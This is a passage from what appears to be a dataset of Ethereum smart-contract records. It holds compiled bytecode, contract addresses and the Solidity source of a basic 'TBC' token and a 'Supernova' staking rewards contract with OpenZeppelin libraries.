2601160045260246000fd5b600081600019048311821515161561380f5761380f6137df565b500290565b60008261383157634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115613849576138496137df565b500190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415613878576138786137df565b5060010190565b600181815b808511156138ba5781600019048211156138a0576138a06137df565b808516156138ad57918102915b93841c9390800290613884565b509250929050565b6000826138d157506001610cde565b816138de57506000610cde565b81600181146138f457600281146138fe5761391a565b6001915050610cde565b60ff84111561390f5761390f6137df565b50506001821b610cde565b5060208310610133831016604e8410600b841016171561393d575081810a610cde565b613947838361387f565b806000190482111561395b5761395b6137df565b029392505050565b6000611f1560ff8416836138c2565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526031908201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460408201527072616e73666572696e6720746f6b656e7360781b606082015260800190565b600082821015613a5d57613a5d6137df565b500390565b600060208284031215613a7457600080fd5b8151611f1581613411565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015613acf5784516001600160a01b031683529383019391830191600101613aaa565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215613b0557600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122032e1c770c59b5c29d4708f61c375ae71c9550763ceda52187f6182cf3c08fe8164736f6c63430008090033
[ 21, 6, 4, 7, 11, 13, 5 ]
0xf3066d8ce545ddf5dc758d261470f9575365999a
pragma solidity ^0.4.19; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TBC { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ /*function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply;// Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes }*/ constructor() { totalSupply = 500000; //500 MIL TOKENS balanceOf[msg.sender] = totalSupply; name = "TBC"; symbol = "TBC"; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public payable { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df578063313ce5671461026457806342966c681461029557806370a08231146102da57806379cc67901461033157806395d89b4114610396578063a9059cbb14610426578063cae9ca5114610466578063dd62ed3e14610511575b600080fd5b3480156100cb57600080fd5b506100d4610588565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610626565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c96106b3565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b9565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b506102796107e6565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a157600080fd5b506102c0600480360381019080803590602001909291905050506107f9565b604051808215151515815260200191505060405180910390f35b3480156102e657600080fd5b5061031b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108fd565b6040518082815260200191505060405180910390f35b34801561033d57600080fd5b5061037c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610915565b604051808215151515815260200191505060405180910390f35b3480156103a257600080fd5b506103ab610b2f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103eb5780820151818401526020810190506103d0565b50505050905090810190601f1680156104185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610464600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bcd565b005b34801561047257600080fd5b506104f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610bdc565b604051808215151515815260200191505060405180910390f35b34801561051d57600080fd5b50610572600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d5f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561061e5780601f106105f35761010080835404028352916020019161061e565b820191906000526020600020905b81548152906001019060200180831161060157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561074657600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506107db848484610d84565b600190509392505050565b600260009054906101000a900460ff1681565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561084957600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60046020528060005260406000206000915090505481565b600081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561096557600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109f057600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bc55780601f10610b9a57610100808354040283529160200191610bc5565b820191906000526020600020905b815481529060010190602001808311610ba857829003601f168201915b505050505081565b610bd8338383610d84565b5050565b600080849050610bec8585610626565b15610d56578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610ce6578082015181840152602081019050610ccb565b50505050905090810190601f168015610d135780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610d3557600080fd5b505af1158015610d49573d6000803e3d6000fd5b5050505060019150610d57565b5b509392505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610dab57600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610df957600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610e8757600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561109457fe5b505050505600a165627a7a72305820a5be0a225805a6e4944c14043e55dfd2f1246b073421366aead4ce3ad2b20a420029
[ 17, 2 ]
0xF306Ad6a3E2aBd5CFD6687A2C86998f1d9c31205
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/ISupernova.sol"; contract Rewards is Ownable { using SafeMath for uint256; uint256 constant decimals = 10 ** 18; struct Pull { address source; uint256 startTs; uint256 endTs; uint256 totalDuration; uint256 totalAmount; } Pull public pullFeature; bool public disabled; uint256 public lastPullTs; uint256 public balanceBefore; uint256 public currentMultiplier; mapping(address => uint256) public userMultiplier; mapping(address => uint256) public owed; ISupernova public supernova; IERC20 public rewardToken; event Claim(address indexed user, uint256 amount); constructor(address _owner, address _token, address _supernova) { require(_token != address(0), "reward token must not be 0x0"); require(_supernova != address(0), "supernova address must not be 0x0"); transferOwnership(_owner); rewardToken = IERC20(_token); supernova = ISupernova(_supernova); } // registerUserAction is called by the Supernova every time the user does a deposit or withdrawal in order to // account for the changes in reward that the user should get // it updates the amount owed to the user without transferring the funds function registerUserAction(address user) public { require(msg.sender == address(supernova), 'only callable by supernova'); _calculateOwed(user); } // claim calculates the currently owed reward and transfers the funds to the user function claim() public returns (uint256){ _calculateOwed(msg.sender); uint256 amount = owed[msg.sender]; require(amount > 0, "nothing to claim"); owed[msg.sender] = 0; rewardToken.transfer(msg.sender, amount); // acknowledge the amount that was transferred to the user ackFunds(); emit Claim(msg.sender, amount); return amount; } // ackFunds checks the difference between the last known balance of `token` and the current one // if it goes up, the multiplier is re-calculated // if it goes down, it only updates the known balance function ackFunds() public { uint256 balanceNow = rewardToken.balanceOf(address(this)); if (balanceNow == 0 || balanceNow <= balanceBefore) { balanceBefore = balanceNow; return; } uint256 totalStakedXyz = supernova.xyzStaked(); // if there's no xyz staked, it doesn't make sense to ackFunds because there's nobody to distribute them to // and the calculation would fail anyways due to division by 0 if (totalStakedXyz == 0) { return; } uint256 diff = balanceNow.sub(balanceBefore); uint256 multiplier = currentMultiplier.add(diff.mul(decimals).div(totalStakedXyz)); balanceBefore = balanceNow; currentMultiplier = multiplier; } // setupPullToken is used to setup the rewards system; only callable by contract owner // set source to address(0) to disable the functionality function setupPullToken(address source, uint256 startTs, uint256 endTs, uint256 amount) public { require(msg.sender == owner(), "!owner"); require(!disabled, "contract is disabled"); if (pullFeature.source != address(0)) { require(source == address(0), "contract is already set up, source must be 0x0"); disabled = true; } else { require(source != address(0), "contract is not setup, source must be != 0x0"); } if (source == address(0)) { require(startTs == 0, "disable contract: startTs must be 0"); require(endTs == 0, "disable contract: endTs must be 0"); require(amount == 0, "disable contract: amount must be 0"); } else { require(endTs > startTs, "setup contract: endTs must be greater than startTs"); require(amount > 0, "setup contract: amount must be greater than 0"); } pullFeature.source = source; pullFeature.startTs = startTs; pullFeature.endTs = endTs; pullFeature.totalDuration = endTs.sub(startTs); pullFeature.totalAmount = amount; if (lastPullTs < startTs) { lastPullTs = startTs; } } // setSupernova sets the address of the UniversXYZ Supernova into the state variable function setSupernova(address _supernova) public { require(_supernova != address(0), 'supernova address must not be 0x0'); require(msg.sender == owner(), '!owner'); supernova = ISupernova(_supernova); } // _pullToken calculates the amount based on the time passed since the last pull relative // to the total amount of time that the pull functionality is active and executes a transferFrom from the // address supplied as `pullTokenFrom`, if enabled function _pullToken() internal { if ( pullFeature.source == address(0) || block.timestamp < pullFeature.startTs ) { return; } uint256 timestampCap = pullFeature.endTs; if (block.timestamp < pullFeature.endTs) { timestampCap = block.timestamp; } if (lastPullTs >= timestampCap) { return; } uint256 timeSinceLastPull = timestampCap.sub(lastPullTs); uint256 shareToPull = timeSinceLastPull.mul(decimals).div(pullFeature.totalDuration); uint256 amountToPull = pullFeature.totalAmount.mul(shareToPull).div(decimals); lastPullTs = block.timestamp; rewardToken.transferFrom(pullFeature.source, address(this), amountToPull); } // _calculateOwed calculates and updates the total amount that is owed to an user and updates the user's multiplier // to the current value // it automatically attempts to pull the token from the source and acknowledge the funds function _calculateOwed(address user) internal { _pullToken(); ackFunds(); uint256 reward = _userPendingReward(user); owed[user] = owed[user].add(reward); userMultiplier[user] = currentMultiplier; } // _userPendingReward calculates the reward that should be based on the current multiplier / anything that's not included in the `owed[user]` value // it does not represent the entire reward that's due to the user unless added on top of `owed[user]` function _userPendingReward(address user) internal view returns (uint256) { uint256 multiplier = currentMultiplier.sub(userMultiplier[user]); return supernova.balanceOf(user).mul(multiplier).div(decimals); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; pragma experimental ABIEncoderV2; import "../libraries/LibSupernovaStorage.sol"; interface ISupernova { // deposit allows a user to add more xyz to his staked balance function deposit(uint256 amount) external; // withdraw allows a user to withdraw funds if the balance is not locked function withdraw(uint256 amount) external; // lock a user's currently staked balance until timestamp & add the bonus to his voting power function lock(uint256 timestamp) external; // delegate allows a user to delegate his voting power to another user function delegate(address to) external; // stopDelegate allows a user to take back the delegated voting power function stopDelegate() external; // lock the balance of a proposal creator until the voting ends; only callable by DAO function lockCreatorBalance(address user, uint256 timestamp) external; // balanceOf returns the current XYZ balance of a user (bonus not included) function balanceOf(address user) external view returns (uint256); // balanceAtTs returns the amount of XYZ that the user currently staked (bonus NOT included) function balanceAtTs(address user, uint256 timestamp) external view returns (uint256); // stakeAtTs returns the Stake object of the user that was valid at `timestamp` function stakeAtTs(address user, uint256 timestamp) external view returns (LibSupernovaStorage.Stake memory); // votingPower returns the voting power (bonus included) + delegated voting power for a user at the current block function votingPower(address user) external view returns (uint256); // votingPowerAtTs returns the voting power (bonus included) + delegated voting power for a user at a point in time function votingPowerAtTs(address user, uint256 timestamp) external view returns (uint256); // xyzStaked returns the total raw amount of XYZ staked at the current block function xyzStaked() external view returns (uint256); // xyzStakedAtTs returns the total raw amount of XYZ users have deposited into the contract // it does not include any bonus function xyzStakedAtTs(uint256 timestamp) external view returns (uint256); // delegatedPower returns the total voting power that a user received from other users function delegatedPower(address user) external view returns (uint256); // delegatedPowerAtTs returns the total voting power that a user received from other users at a point in time function delegatedPowerAtTs(address user, uint256 timestamp) external view returns (uint256); // multiplierAtTs calculates the multiplier at a given timestamp based on the user's stake a the given timestamp // it includes the decay mechanism function multiplierAtTs(address user, uint256 timestamp) external view returns (uint256); // userLockedUntil returns the timestamp until the user's balance is locked function userLockedUntil(address user) external view returns (uint256); // userDidDelegate returns the address to which a user delegated their voting power; address(0) if not delegated function userDelegatedTo(address user) external view returns (address); // xyzCirculatingSupply returns the current circulating supply of XYZ function xyzCirculatingSupply() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../interfaces/IRewards.sol"; library LibSupernovaStorage { bytes32 constant STORAGE_POSITION = keccak256("com.xyzdao.supernova.storage"); struct Checkpoint { uint256 timestamp; uint256 amount; } struct Stake { uint256 timestamp; uint256 amount; uint256 expiryTimestamp; address delegatedTo; } struct Storage { bool initialized; // mapping of user address to history of Stake objects // every user action creates a new object in the history mapping(address => Stake[]) userStakeHistory; // array of xyz staked Checkpoint // deposits/withdrawals create a new object in the history (max one per block) Checkpoint[] xyzStakedHistory; // mapping of user address to history of delegated power // every delegate/stopDelegate call create a new checkpoint (max one per block) mapping(address => Checkpoint[]) delegatedPowerHistory; IERC20 xyz; IRewards rewards; } function supernovaStorage() internal pure returns (Storage storage ds) { bytes32 position = STORAGE_POSITION; assembly { ds.slot := position } } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; pragma experimental ABIEncoderV2; interface IRewards { function registerUserAction(address user) external; }
